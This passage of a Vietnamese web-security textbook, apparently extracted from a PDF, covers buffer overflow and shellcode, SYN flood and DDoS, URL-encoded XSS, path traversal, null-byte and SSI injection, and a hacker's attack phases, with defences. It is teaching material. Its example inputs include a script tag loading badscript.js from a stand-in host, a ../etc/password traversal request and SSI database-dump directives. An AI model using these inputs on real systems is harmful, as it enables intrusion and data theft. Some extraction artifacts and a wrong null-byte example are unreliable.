Một chương trình được chia thành nhiều đoạn mã gọi là thủ tục (procedure). Mỗi

thủ tục chịu trách nhiệm về một hành động nào đó của chương trình. Mỗi thủ tục

sau khi hoàn thành nhiệm vụ sẽ gọi thủ tục kế tiếp. Sau lời gọi một thủ tục, địa chỉ

kế tiếp sau địa chỉ gọi thủ tục sẽ được lưu vào trong STACK.

Ví dụ 8.II.3-1:

0x0012FF00

0x0012FF01

0x0012FF02

0x0012FF03

0x0012FF04----------------------------đỉnh Stack

0x0012FF05

0x0012FF06

0x0012FF07

0x0012FF08----------------------------đáy Stack

Page 106: Bao mat ung_dung_web

Khoa CNTT

Chương 8: Tràn bộ đệm (Buffer Overflow)

-Trang 103-

0x401F2034 gọi thủ tục Q -> thủ tục Q được gọi để thực thi

0x401F2035

0x40209876 thủ tục Q

0xFFFFFFFF

Khi lệnh tại địa chỉ 0x401F2034 được thực thi thì không gian địa chỉ như sau:

0x0012FF00----------------------------đỉnh Stack

0x0012FF01 40

0x0012FF02 1F

0x0012FF03 20

0x0012FF04 35

0x0012FF05

0x0012FF06

0x0012FF07

0x0012FF08----------------------------đáy Stack

….

Như vậy địa chỉ sau địa chỉ gọi thủ tục được đưa vào trong STACK. Khi thủ tục

Q chuẩn bị hoàn thành nhiệm vụ của mình và sẵn sàng quay trở về thì tiến trình

nhận lại địa chỉ đã lưu trước đó ở STACK và khôi phục lại việc thực thi. Địa chỉ

này được gọi là “saved return address”.

• Ghi chú:

Thanh ghi EIP luôn trỏ đến địa chỉ của câu lệnh tiếp theo cần thi hành

Page 107: Bao mat ung_dung_web

Khoa CNTT

Chương 8: Tràn bộ đệm (Buffer Overflow)

-Trang 104-

Ví dụ 8.II.3-2:

strcpy(one,two);

printf("Okie\n");

thì return address sẽ trỏ tới vị trí của lệnh gọi tới hàm printf trong bộ nhớ, và khi

hàm strcpy kết thúc thì con trỏ lệnh sẽ chỉ tới đó.

II.4. Shell code

Cần phải thay đổi địa chỉ trở về trỏ đến shellcode để đổ một shell. Có thể hình

dung ra cách đặt shellcode trên stack như sau:

i. Trước khi tràn bộ đệm:

đáy của bộ nhớ đỉnh của bộ nhớ<----- FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF

đỉnh của stack đáy của stack

B = buffer

E = stack frame pointer

R = return address

F = các data khác

ii. Khi tràn bộ đệm:

đáy của bộ nhớ đỉnh của bộ nhớ

<----- FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFFđỉnh của stack đáy của stack

S = shellcode

Page 108: Bao mat ung_dung_web

Khoa CNTT

Chương 8: Tràn bộ đệm (Buffer Overflow)

-Trang 105-

A = con trỏ đến shellcode

F = các data khác

(1) Lắp tràn bộ đệm (đến return addr) bằng địa chỉ của buffer

(2) Đặt shellcode vào buffer

Như vậy địa chỉ trở về sẽ trỏ đến shellcode, shellcode sẽ đổ một root shell.

Tuy nhiên, thật khó để làm cho ret addr trỏ đến đúng shellcode. Một cách có

thể thực hiện được công việc khó khăn đó, là đặt vào đầu của buffer một dãy

lệnh NOP(NO oPeration - không xử lí), tiếp theo đẩy shellcode vào sau

NOPs. Như vậy khi thay đổi ret addr trỏ đến một nơi này đó ở đầu buffer, các

lệnh NOP sẽ được thi hành, chúng không làm gì cả. Đến khi gặp các lệnh

shellcode, shellcode sẽ làm nhiệm vụ đổ root shell. Stack có dạng như sau:

đáy của bộ nhớ đỉnh của bộ nhớ<----- FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFFđỉnh của stack đáy của stack

N = NOP

S = shellcode

A = con trỏ đến shellcode

F = các data khác

Page 109: Bao mat ung_dung_web

Khoa CNTT

Chương 8: Tràn bộ đệm (Buffer Overflow)

-Trang 106-

III. MỘT SỐ CÁCH GÂY TRÀN BỘ ĐỆM QUA ỨNG

DỤNG WEB:

Các bước cơ bản của kỹ thuật tràn bộ đệm là: chuẩn bị bộ đệm dùng để làm tràn, xác

định địa chỉ trả về (RET), xác định địa chỉ của bộ đệm chứa shellcode, cuối cùng gọi

thực thi chương trình bị tràn bộ đệm.

Thông qua những ô nhập dữ liệu hacker có thể sử dụng một chuỗi string nhị phân có

khả năng thực thi đoạn lệnh trên máy đích hoặc phá vỡ hệ thống do phải xử lí dữ liệu

quá dài, vượt khả năng cho phép của hệ thống ( có thể nói cách này cũng là cách tấn

công DoS- được nói rõ hơn trong chương 6). Thông thường đoạn mã rất đơn giản, ví

dụ như exec(“sh”) để tạo ra một root shell.

Một ví dụ về cách tấn công buffer overflow qua Web là Code Red Worm.

IV. CÁC CÁCH PHÒNG CHỐNG:

• Người thiết kế Web cần phải kiểm tra kĩ kích thước dữ liệu trước khi sử dụng.

• Dùng Referer trong HTTP Header để kiểm tra yêu cầu có phải xuất phát từ máy

người dùng

Nhận xét:

Đây là kĩ thuật tấn công đi sâu vào phần hệ thống nhất, đòi hỏi hacker là người hiểu

sâu về tổ chức bộ nhớ cũng như về ngôn ngữ lập trình Assembly. Tuy nhiên, điều này

chỉ đòi hỏi nếu hacker muốn điều khiển hệ thống. Nếu chỉ sửa đồi nội dung kích

thước ô nhập để từ đó đưa lên trình chủ một khối dữ liệu lớn để hệ thống có thể bị

phá hủy vì không đủ dung lượng đáp ứng việc yêu cầu xử lí khối dữ liệu đó. Kiểu tấn

Page 110: Bao mat ung_dung_web

Khoa CNTT

Chương 8: Tràn bộ đệm (Buffer Overflow)

-Trang 107-

công này tương tự như kiểu tấn công từ chối dịch vụ được nói rõ hơn trong chương

tiếp theo.

Page 111: Bao mat ung_dung_web

Khoa CNTT

Chương 9: Từ chối dịch vụ (Dos)

-Trang 108-

Chương 9

TỪ CHỐI DỊCH VỤNội dung:

I. Khái niệm

II. Những khả năng bị tấn công bằng DoS

III. Các kĩ thuật tấn công

IV. Biện pháp phòng chống

Page 112: Bao mat ung_dung_web

Khoa CNTT

Chương 9: Từ chối dịch vụ (Dos)

-Trang 109-

CHƯƠNG 9: TỪ CHỐI DỊCH VỤ (DoS)

I. KHÁI NIỆM

Tấn công kiểu DoS là kiểu tấn công làm cho các dịch vụ mạng bị tê liệt, không còn

khả năng đáp ứng được yêu cầu nữa. Loại tấn công này ảnh hưởng đến nhiều hệ

thống, rất dễ thực hiện và lại rất khó bảo vệ hệ thống khỏi kiểu tấn công DoS.

Thông thường, kiểu tấn công DoS dựa trên những giao thức (protocol). Ví dụ với

giao thức là ICMP, hacker có thể sử dụng bomb e-mail để gửi hàng ngàn thông điệp

email với mục đích tiêu thụ băng thông để làm hao hụt tài nguyên hệ thống trên mail

server. Hoặc có thể dùng phần mềm gửi hàng loạt yêu cầu đến máy chủ khiến cho

máy chủ không thể đáp ứng những yêu cầu chính đáng khác.

II. NHỮNG KHẢ NĂNG BỊ TẤN CÔNG BẰNG DOS

• TẤN CÔNG TRÊN SWAP SPACE:

Hầu hết các hệ thống đều có vài trăm MB không gian chuyển đổi ( swap space) để

phục vụ cho những yêu cầu từ máy khách. Swap space thuờng dùng cho các tiến

trình con có thời gian ngắn nên DoS có thể được dựa trên phương thức làm tràn

đầy swap space.

• TẤN CÔNG TRÊN BANDWIDTH:

Phần băng thông dành cho mỗi hệ thống là giới hạn, vì thế nếu hacker cùng lúc

gửi nhiều yêu cầu đến hệ thống thì phần băng thông không đủ đáp ứng cho một

khối lượng dữ liệu lớn đó và dẫn đến hệ thống bị phá vỡ.

Page 113: Bao mat ung_dung_web

Khoa CNTT

Chương 9: Từ chối dịch vụ (Dos)

-Trang 110-

• TẤN CÔNG VÀO RAM:

Tấn công Dos chiếm 1 khoảng lớn của RAM cũng có thể gây ra các vấn đề phá

hủy hệ thống. Kiểu tấn công BufferOverflow là một ví dụ cho cách phá hủy này

(xem kĩ hơn trong nội dung chương..)

• TẤN CÔNG VÀO DISKS:

Một kiểu tấn công cổ điển là làm đầy đĩa cứng. Đĩa cứng có thể bị tràn và không

thể được sử dụng nữa.

III. CÁC KĨ THUẬT TẤN CÔNG:

III.1. Khái niệm về Tcp bắt tay ba chiều:

Đầu tiên, để tìm hiểu phương pháp tấn công DoS , luận văn sẽ trình bày cơ chế

làm việc “tcp bắt tay ba chiều”.

Gói dữ liệu TCP chứa flag bits (cờ) để mô tả nội dung và mục đích của gói dữ

liệu .

Ví dụ 9.III.1-1:

• Gói dữ liệu TCP với cờ SYN (synchoronize) dùng để bắt đầu 1 kết nối

• ACK (acknowledgement)

• FIN (finish) dùng để cắt 1 kết nối

Cách hoạt động của gói TCP:

Page 114: Bao mat ung_dung_web

Khoa CNTT

Chương 9: Từ chối dịch vụ (Dos)

-Trang 111-

Hình 9.III.1-1: Cơ chế thiết lập kết nối trước khi truyền số liệu

Buớc 1: Máy con gửi gói tin SYN yêu cầu kết nối

Bước 2: Nếu máy chủ chấp nhận kết nối, máy chủ sẽ gửi gói tin SYN/ACK

Server bắt buộc phải gửi thông báo lại bởi vì TCP là chuẩn tin cậy nên nếu máy

con không nhận được thông báo thì sẽ nghĩ rằng packet đã bị lạc và gửi lại một

packet mới .

Bước 3: Máy con gửi hồi đáp bằng gói tin ACK

Báo cho máy chủ biết rằng máy con đã nhận được SYN/ACK packet và lúc này

kết nối đã được thiết lập.

Page 115: Bao mat ung_dung_web

Khoa CNTT

Chương 9: Từ chối dịch vụ (Dos)

-Trang 112-

III.2. Lợi dụng TCP thực hiện phương pháp SYN flood

truyền thống:

Hình 9.III.2-1: Tấn công DoS truyền thống

Như đã đề cập về vấn đề thiết lập kết nối trong phần 1, bất cứ 1 gói tin SYN, máy

chủ cũng phải để 1 phần tài nguyên của hệ thống như bộ nhớ đệm để nhận và

truyền dữ liệu cho đường truyền đó. Tuy nhiên, tài nguyên của hệ thống là có hạn

và hacker sẽ tìm mọi cách để hệ thống tràn qua giới hạn đó. ( Đây còn được gọi là

half-open connection vì máy khách mở kết nối giữa chừng)

Theo hình 9.III.2-1: Nếu máy chủ sau khi gửi trả một gói tin SYN/ACK để thông

báo chấp nhận kết nối cho máy yêu cầu nhưng nếu địa chỉ IP của máy yêu cầu này

là giả mạo thì gói tin không thể đến được đích, nên máy chủ vẫn phải dành tài

nguyên cho yêu cầu đó. Sau một thời gian không nhận được phản hồi từ máy

khách, máy chủ lại tiếp tục gửi một gói tin SYN/ACK để xác nhận lần nữa và cứ

như vậy, kết nối vẫn tiếp tục mở.

Nếu như hacker gửi nhiều gói tin SYN đến máy chủ đến khi máy chủ không thể

tiếp nhận thêm 1 kết nối nào nữa thì lúc này hệ thống đã bị phá vỡ.

Page 116: Bao mat ung_dung_web

Khoa CNTT

Chương 9: Từ chối dịch vụ (Dos)

-Trang 113-

Kết luận:

Chỉ với một đường truyền băng thông nhỏ, hacker đã có thể phá vỡ một hệ thống.

Thêm vào đó, địa chỉ IP của hacker có thể được sửa đổi nên việc xác định thủ

phạm là một vấn đề hết sức khó khăn.

III.3. Tấn công vào băng thông

III.3.1. Kiểu tấn công thứ 1

Hacker hoàn toàn có khả năng làm ngập hệ thống vì băng thông của hacker lớn

hơn băng thông của máy đích. Kiểu tấn công này không bị hạn chế bởi tốc độ

truyền mạng.

Ví dụ 9.III.3.1-1: Hacker có một đường truyền tốc độ cao T1 ( 1.544- Mbps ) hay

lớn hơn có thể dễ dàng phá vỡ một hệ thống có đường truyền 56Kbps.

III.3.2. Kiểu tấn công thứ 2

Kiểu tấn công này được sử dụng khi đường truyền mạng của hacker là quá thấp so

với đường truyền của máy đích.

Không giống như kiểu tấn công DoS truyền thống ( phần 2 ), kiểu tấn công vào

băng thông lớn hơn sẽ lợi dụng những gói tin từ những hệ thống khác nhau cùng

một lúc tiến đến hệ thống đích khiến cho đường truyền của hệ thống đích không

còn khả năng đáp ứng, máy chủ không còn khả năng nhận một gói tin nào nữa.

Page 117: Bao mat ung_dung_web

Khoa CNTT

Chương 9: Từ chối dịch vụ (Dos)

-Trang 114-

Hình 9.III.3.2-1: Kiểu tấn công DoS vào băng thông

Theo hình 9.III.3.2-1, tất cả các gói tin đi vào 1 mạng máy tính qua 1 "Big-Pipe" (

ống dẫn lớn ), sau đó được router chia ra những "Small Pipe" ( ống dẫn nhỏ ) cho

nhiều máy tính con tùy theo địa chỉ IP của gói tin.

Nhưng nếu toàn bộ "Big-Pipe" bị làm ngập bằng những gói tin chỉ hướng đến 1

máy nhất định trong mạng máy tính con này, router đành phải chấp nhận loại bỏ

phần lớn các packet để chỉ còn lại số lượng vừa đủ đi qua "Small Pipe" của máy

tính đó. Kiểu tấn công này sẽ loại máy đích ra khỏi Internet.

Đây là phương pháp tấn công kiểu từ chối dịch vụ nhưng không là DoS mà gọi là

DDoS ( kiểu từ chối dịch vụ phân tán ), nghĩa là cùng một lúc nhiều máy sẽ được

phát động để gửi gói tin đến máy đích ( mặc dù đường truyền của mỗi máy không

cao nhưng nhiều đường truyền lại hợp thành một ống dẫn “ Big Pipe”), làm cho

máy đích không còn khả năng tiếp nhận gói tin và bị loại khỏi mạng Internet, như

sơ đồ minh họa sau:ợc router chia ra những "Sm

Page 118: Bao mat ung_dung_web

Khoa CNTT

Chương 9: Từ chối dịch vụ (Dos)

-Trang 115-

computer con tùy

Hình 9.III.3.2-2: Tấn công DDoS

DRDoS (Distributed Reflection Denial of Service) - Thế hệ tiếp theo của

DDoS:

Đây cũng chính là nguyên nhân khiến cho trang grc.com bị phá vỡ.

Hình sau sẽ minh họa kiểu tấn công DRDoS này.

Page 119: Bao mat ung_dung_web

Khoa CNTT

Chương 9: Từ chối dịch vụ (Dos)

-Trang 116-

Hình 9.III.3.2-3. Tấn công kiểu DRDoS

Bằng cách giả địa chỉ IP của máy đích, hacker sẽ cùng lúc gửi nhiều gói tin

đến các hệ thống máy mạnh trên mạng, các hệ thống này khi nhận gói tin SYN

giả này, chấp nhận kết nối và gửi trả một gói tin SYN/ACK để thông báo. Vì

địa chỉ IP của gói tin SYN bị hacker sửa đổi thành địa chỉ IP máy đích nên

những gói tin SYN/ACK sẽ được gửi về cho máy đích. Cùng một lúc nhận

được nhiều gói tin, đường truyền của máy đích không đủ khả năng đáp ứng, hệ

thống máy đích từ chối nhận bất kì gói tin nào và lúc này hệ thống máy đích

đã bị sụp đổ.

Page 120: Bao mat ung_dung_web

Khoa CNTT

Chương 9: Từ chối dịch vụ (Dos)

-Trang 117-

III.4. Kiểu tấn công vào tài nguyên hệ thống

Đây là kiểu tấn công nhằm vào tài nguyên hệ thống hơn là tài nguyên mạng như

CPU, bộ nhớ, file hệ thống, tiến trình…..Hacker là một người dùng hợp lệ của hệ

thống, và được một lượng tài nguyên giới hạn trên hệ thống. Tuy nhiên, hacker sẽ

lạm dụng quyền truy cập này để yêu cầu thêm tài nguyên. Như vậy, hệ thống hay

những người dùng hợp lệ sẽ bị từ chối sử dụng tài nguyên chia sẻ.

Kiểu tấn công sẽ khiến cho hệ thống không thể sử dụng được vì tài nguyên đã bị

sử dụng hết, không còn tiến trình để thực thi nữa.

IV. BIỆN PHÁP PHÒNG CHỐNG

Kiểu tấn công từ chối dịch vụ là kiểu tấn công gây nhiều khó khăn trong vấn đề bảo

vệ cũng như điều tra tìm ra thủ phạm nhất, bởi vì hầu hết hacker đã thay đổi địa chỉ

IP của máy mình nên rất khó xác định ai là thủ phạm.

Để phòng chống khả năng khuyếch đại đường truyền, cần:

• Huỷ khả năng broadcast tại router biên

• Tăng kích thước hàng đợi kết nối

-> kết quả: có thể phòng tránh khả năng tràn hàng đợi qua nhiều kết nối, nhưng

cách này sử dụng nhiều tài nguyên

• Giảm thời gian thiết lập kết nối

• Dùng những phần mềm phát hiện và phá hủy kiểu tấn công DoS:

Hầu hết những hệ điều hành hiện nay đều hỗ trợ khả năng phát hiện và phòng chống

kiểu tấn công lụt SYN.

Page 121: Bao mat ung_dung_web

Khoa CNTT

Chương 9: Từ chối dịch vụ (Dos)

-Trang 118-

Tuy nhiên cũng đã có những phần mềm được có khả năng tránh kiểu tấn công này.

Ví dụ như với Linux kernels 2.0.30 và về sau cài đặt một tùy chọn gọi là SYN Cookie,

kernel có nhiệm vụ truy tìm và lưu vết những khả năng có thể xảy ra kĩ thuật SYN.

Sau đó, kernel sẽ sử dụng một giao thức mã hoá như SYN cookie cho phép người

dùng hợp lệ của hệ thống tiếp tục kết nối đến hệ thống

Với WindowNT 4.0 trở về sau, sử dụng kĩ thuật backlog, mỗi khi hàng đợi kết nối

không đủ đáp ứng, hệ thống tự động cung cấp tài nguyên cho hàng đợi, vì thế hàng

đợi sẽ không bị phá vỡ.

• Ứng dụng chỉ cho phép mỗi một máy con chỉ được thiết lập số kết nối tối đa theo

qui định tránh trường hợp hacker gửi cùng lúc nhiều yêu câu gây tắc nghẽn.

Nhận xét:Kiểu tấn công từ chối dịch vụ tuy chỉ khiến cho hệ thống bị phá vỡ trong vài phút

nhưng hậu quả thì khá to lớn (ảnh hưởng trên phạm vi tiền và uy tín). Đây là kĩ thuật

thường được hacker sử dụng trong trường hợp không thể chiếm quyền quản trị trên

hệ thống hoặc thông tin, hoặc muốn phá hủy uy tín của cơ quan đó.Thêm vào đó việc

giả mạo địa chỉ khiến cho hacker càng dễ dàng thực hiện viêc tấn công mà không sợ

bị phát hiện. Thông thường kĩ thuật này được thực hiện kèm theo sự hỗ trợ của vài

công cụ như ping of death, teardrop…Những công cụ này được liệt kê thêm trong

chương 8 tiếp theo.

Page 122: Bao mat ung_dung_web

Khoa CNTT

Chương 10: Một số kĩ thuật tấn công khác

-Trang 119-

Chương 10

MỘT SỐ KĨ THUẬT TẤN CÔNG KHÁCNội dung :

I. Mã hóa URL.

II. Kiểu tấn công vượt đường dẫn

III. Tấn công dựa vào kí tự rỗng

IV. Ngôn ngữ trình chủ

Page 123: Bao mat ung_dung_web

Khoa CNTT

Chương 10: Một số kĩ thuật tấn công khác

-Trang 120-

CHƯƠNG 10: MỘT SỐ KĨ THUẬT TẤN CÔNG KHÁC

I. MÃ HÓA URL (URL Encoding)

I.1. Khái niệm

Theo RFC 1738 định nghĩa URL và RFC 2369 cho URIs, những kí tự được giới

hạn sử dụng trên URL hoặc URI là một tập các kí tự US-ASCII. Theo RFC 1738,

2369 những kí tự chữ số, kí tự đặc biệt như “ $-_.+!*’() ” và một số kí tự dành

riêng là không bị mã hoá trên URL hay URIs. Còn những kí tự đặc biệt khác thì

được mã hóa như khoảng trắng, < > ”…Sau khi trình chủ nhận được dữ liệu này,

trình chủ sẽ tự động giải mã để thao tác như bình thường.

Vậy hacker có thể lợi dụng được gì trong URL mã hóa này.

Những nhà phát triển ứng dụng có thể sẽ thiết kế ứng dụng để kiểm tra dữ liệu

nhập vào của người dùng có hợp lệ hay không, những kí tự đặc biệc như < >

trong thẻ script thường được dùng trong những kĩ thuật tấn công như XSS sẽ bị

lọai bỏ Vậy để hợp thức hóa nội dung dữ liệu cần nhập, hacker thay vì nhập trực

tiếp kí tự đặc biệt vào ô nhập thì họ có thể nhập những kí tự đã được mã hoá theo

chuẩn RFC 1738, RFC 2369. Như vậy bằng cách đó, hacker có thể dễ dàng vượt

qua kiểm soát này.

Page 124: Bao mat ung_dung_web

Khoa CNTT

Chương 10: Một số kĩ thuật tấn công khác

-Trang 121-

Ví dụ 10.I.1-1:

http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22htt

p%3a%2f%2fwww.yourserver.com%2fbadscript.js%22%3e%3c%2fscript%3e

Biến mydata sẽ mang nội dung:

<script src="http://www.yourserver.com/badscript.js"></script>

I.2. Một số biện pháp phòng chống

• Tránh sử dụng phương thức GET vì nếu dùng GET, dữ liệu dễ dàng được

thêm vào URL. Vì thế, sử dụng phương thức POST bất cứ khi nào có thể.

• Trong trường hợp URL bắt buộc được sử dụng để chuyển dữ liệu lên trình

chủ, cần giới hạn kiểu dữ liệu, nên kiểm tra dữ liệu trong ứng dụng trước khi

sử dụng.

• Không nên sử dụng ngôn ngữ máy khách để kiểm tra tính đúng đắn của dữ

liệu.

II. KIỂU TẤN CÔNG VƯỢT ĐƯỜNG DẪN

II.1. Khái niệm

Nhiều ứng dụng sử dụng tập tin hệ thống của trình chủ trong “lớp trình bày” để

hiển thị thông tin lưu trử tạm thời. Những tập tin này bao gồm những tập tin hình

ảnh , tập tin HTML, hay những ứng dụng CGI. Thư mục WWW-ROOT là một

thư mục gốc ảo bên trong trình chủ, nơi mà được truy xuất bởi trình duyệt. Ứng

dụng lưu trữ thông tin bên trong hoặc bên ngòai WWW-ROOT.

Nếu ứng dụng không kiểm tra những kí tự đặc biệt, thường được sử dụng trong

đường dẫn như “/” thì có thể rằng ứng dụng đã có một lỗ hổng cho kiểu tấn công

Page 125: Bao mat ung_dung_web

Khoa CNTT

Chương 10: Một số kĩ thuật tấn công khác

-Trang 122-

vượt đường dẫn. Hacker có thể yêu cầu trình chủ trả về kết quả là nội dung những

tập tin vật lí như /etc/password…

Tóm lại:

Kiểu tấn công này cũng dựa vào sự lỏng lẻo trong quá trình kiểm tra dữ liệu trên

URL, cookie, HTTP Header yêu cầu. Lợi dụng quyền truy xuất một tập tin của

ứng dụng, nhờ đó hacker có thể xem được file lưu trữ trên hệ thống.

Ví dụ 10.II.1-1:

http://maydich.com/show.asp?result= “dangnhapthanhcong.asp”

nhưng nếu hacker thay đổi tên tập tin cần truy xuất như sau:

http://maydich.com/show.asp?result= ../etc/password

như vậy hacker có thể xem nội dung file password được lưu trữ trong hệ thống.

II.2. Một số biện pháp phòng chống

Việc phòng chống kiểu tấn công vượt đường dẫn là một thử thách lớn cho những

nhà ứng dụng trong một hệ thống phân tán. Tuy nhiên, cách phòng chống tốt nhất

vẫn là Ứng dụng cần kiểm tra việc truy xuất file trước khi xuất kết quả cho trình

duyệt.

Page 126: Bao mat ung_dung_web

Khoa CNTT

Chương 10: Một số kĩ thuật tấn công khác

-Trang 123-

III. TẤN CÔNG DỰA VÀO KÍ TỰ RỖNG

III.1. Khái niệm

Nhiều ứng dụng Web thường sử dụng ngôn ngữ lập trình như C, Java để tạo

modul xử lý những công việc như thao tác trên những dữ liệu nhập vào từ người

dùng. Lợi dụng kí tự kết thúc chuỗi mà hacker sẽ thêm vào một chuỗi nhập để

đánh lừa ứng dụng.

Ví dụ 10.III.1-1:

Giả sử hacker đưa vào một chuỗi “AA\0BB” thì qua chương trình lập trình bằng

ngôn ngữ C, chuỗi này có thể bị cắt ngắn thành AAAA vì C xem \0 là dấu hiệu

kết thúc chuỗi. Hacker có thể lợi dụng điều này để vượt qua các khâu kiểm tra nội

dung chuỗi.

III.2. Một số biện pháp phòng chống

Cách duy nhất để phòng chống trường hợp này đó là chỉ chấp nhận những dữ liệu

hợp lệ. Những kí tự như “\” phải bị lọai bỏ trước khi ứng dụng sử dụng chúng.

IV. NGÔN NGỮ PHÍA TRÌNH CHỦ

IV.1. Khái niệm

SSI là đoạn mã được nhúng vào trong trang Web để yêu cầu trình chủ cung cấp

thông tin ở một điểm nào đó trong trang.

Ví dụ 10.IV.1-1:

Page 127: Bao mat ung_dung_web

Khoa CNTT

Chương 10: Một số kĩ thuật tấn công khác

-Trang 124-

<!--#include file="test.asp"-->

Dòng lệnh trên nhúng nội dung file “test.asp” vào trong trang Web.

Tuy nhiên, SSI không phải được hỗ trợ trong hầu hết các trình chủ, Apache và IIS

là 2 trình chủ hỗ trợ SSI. Trang Web có sử dụng SSI thường được lưu dưới dạng

.shtml hoặc .stm (là phần mở rộng của .html hay .htm) để báo hiệu cho trình chủ

biết trang này có sử dụng SSI để tiết kiệm thời gian xử lí cho trình chủ (không

mất thời gian tìm kiếm).

Quá trình thực hiện xử lí một trang Web yêu cầu:

Nếu không có bất kì chỉ thị nào khác, trình chủ chỉ gửi nội dung trang Web cho

trình duyệt nhưng với một SSI, thì công việc tuần tự theo những bước như sau:

• Trình chủ nhận dữ liệu và phân tích dữ liệu (tìm kiếm và phân loại những câu

lệnh đặc biệt) để chỉ thị thực hiện

• Dưa trên những câu lệnh mà trình chủ tìm thấy, trình chủ thực thi những câu

lệnh đó để trả kết quả cho trình duyệt.

• Trả kết quả về cho trình duyệt

Có 3 khả năng thực hiện:

• Nhận thông tin từ một file và chèn vào trong trang

• Gán giá trị cho một số biến

• Gọi chương trình CGI

Nội dung câu lệnh SSI xem trong phần phụ lục.

Page 128: Bao mat ung_dung_web

Khoa CNTT

Chương 10: Một số kĩ thuật tấn công khác

-Trang 125-

IV.2. Cách tấn công

Hacker lợi dụng những ô nhập để chèn thêm vào đó nội dung một câu lệnh SSI.

Ví dụ 10.IV.2-1:

<!--#jdbc select="SELECT * FROM User" name="result"driver="org.gjt.mm.mysql.Driver"url="jdbc:mysql://localhost:3306/project" -->Thiết lập câu lệnh Select

<!--#jdbc name="result" next="true" -->Câu lệnh này di chuyển con trỏ đến dòng đầu tiên trong tập tin.

<!--#jdbc name="result" column="1" -->Hiển thị nội dung dòng đầu tiên.

IV.3. Biện pháp phòng chống

Với người quản trị, cấu hình lại trình chủ sao cho trình chủ không hỗ trợ SSI.

Với người lập trình, kiểm tra kĩ nội dung dữ liệu gửi từ người dùng. Loại bỏ

những kí tự như < > # -- !…Tuy nhiên điều này nên được thực hiện tại trình chủ,

không nên kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình khách, vì

khả năng thay đổi nội dung của trang Web.

Page 129: Bao mat ung_dung_web

Khoa CNTT

Chương 11: Tổng kết quá trình tấn công của Hacker

-Trang 126-

Chương 11

TỔNG KẾT QUÁ TRÌNH TẤN CÔNG

CỦA HACKERNội dung:

I. Thu thập thông tin ở mức hạ tầng của mục tiêu

II. Khảo sát ứng dụng Web

III. Tấn công

Page 130: Bao mat ung_dung_web

Khoa CNTT

Chương 11: Tổng kết quá trình tấn công của Hacker

-Trang 127-

CHƯƠNG 11:

TỔNG KẾT QUÁ TRÌNH TẤN CÔNG CỦA HACKER

Theo tài liệu Hacking Exposed của Stuart McClure, Joel Scambray, George Kurtz thì

các kẻ tấn công thường thực hiện các giai đoạn sau khi tấn công

I. THU THẬP THÔNG TIN Ở MỨC HẠ TẦNG CỦA MỤC

TIÊU

• Bước 1: FootPrinting (thu thập thông tin):

Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy

chủ/doanh nghiệp/người dùng, bao gồm chi tiết về địa chỉ IP, Whois, DNS

..v.v - là những thông tin chính thức có liên quan đến mục tiêu.

Công cụ hỗ trợ: UseNet , search engines (công cụ tìm kiếm) , Edgar Any Unix

client, http://www.networksolutions.com/whois, nslookup Is -d , Sam spade,

http://www.arin.net/whois, dig

• Bước 2: Scanning (Quét thăm dò):

Phần lớn thông tin quan trọng từ server có được từ bước này , bao gồm quét cổng,

xác định hệ điều hành, .v.v.. để biết các port trên server, nghe đường dữ liệu.

Các công cụ: fping, icmpenum Ws_ping ProPack, nmap, SuperScan, fscan nmap,

queso, siphon.

• Bước 3: Enumeration (liệt kê tìm lỗ hổng):

Page 131: Bao mat ung_dung_web

Khoa CNTT

Chương 11: Tổng kết quá trình tấn công của Hacker

-Trang 128-

Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài

khoản người dùng mà có thể sử dụng để xâm nhập, bao gồm các mật khẩu

mặc định, các script và dịch vụ mặc định. Rất nhiều người quản trị mạng

không biết đến hoặc không sửa đổi lại các giá trị này.

Các công cụ phụ trợ: null sessions, DumpACL, sid2user, OnSite Admin

showmount, NAT Legion banner grabbing với telnet, netcat, rpcinfo.

• Bước 4: Gaining access (Tìm cách xâm nhập):

Bây giờ hacker sẽ tìm cách truy cập vào mạng bằng những thông tin có

được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn

công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay brute force (kiểm tra

tất cả các trường hợp) password.

Các công cụ: tcpdump, L0phtcrack readsmb, NAT, legion, tftp, pwdump2 (NT)

ttdb, bind, IIS, HTR/ISM.DLL.

• Bước 5: Escalating privilege (Leo thang đặc quyền):

Trong trường hợp hacker xâm nhập đựợc vào mạng với một tài khoản nào đó, thì

họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password

của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền.

John và Riper là hai chương trình crack password rất hay được sử dụng.

Công cụ: L0phtcrack, Ic_messages, getadmin, sechole.

• Bước 6: Pilfering (Dùng khi các file chứa pass bị sơ hở):

Page 132: Bao mat ung_dung_web

Khoa CNTT

Chương 11: Tổng kết quá trình tấn công của Hacker

-Trang 129-

Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương

pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an

toàn khác có thể là đích cho hacker.

Thông tin lấy từ bước trên đủ để ta định vị server và điều khiển server. Nếu bước

này không thành công, đến bước <9>.

Công cụ hỗ trợ: rhost, LSA Secrets user data, configuration files, Registry.

• Bước 7: Covering Tracks (Xoá dấu vết) :

Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file

log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm

nhập hoặc có biết cũng không tìm ra kẻ xâm nhập là ai.

Xóa log. Công cụ: Zap, Event log GUI, rootkits, file streaming.

• Bước 8: Creating Backdoors (Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo

được dễ dàng hơn):

Hacker để lại "Back Doors", tức là một cơ chế cho phép hacker truy nhập trở lại

bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan

hay tạo user mới (đối với tổ chức có nhiều user).

Công cụ ở đây là các loại Trojan, keylog, creat rogue user accounts, schedule

batch jobs, infect startup files, plant remote control services, install monitoring

mechanisms, replace apps with Trojan.

Page 133: Bao mat ung_dung_web

Khoa CNTT

Chương 11: Tổng kết quá trình tấn công của Hacker

-Trang 130-

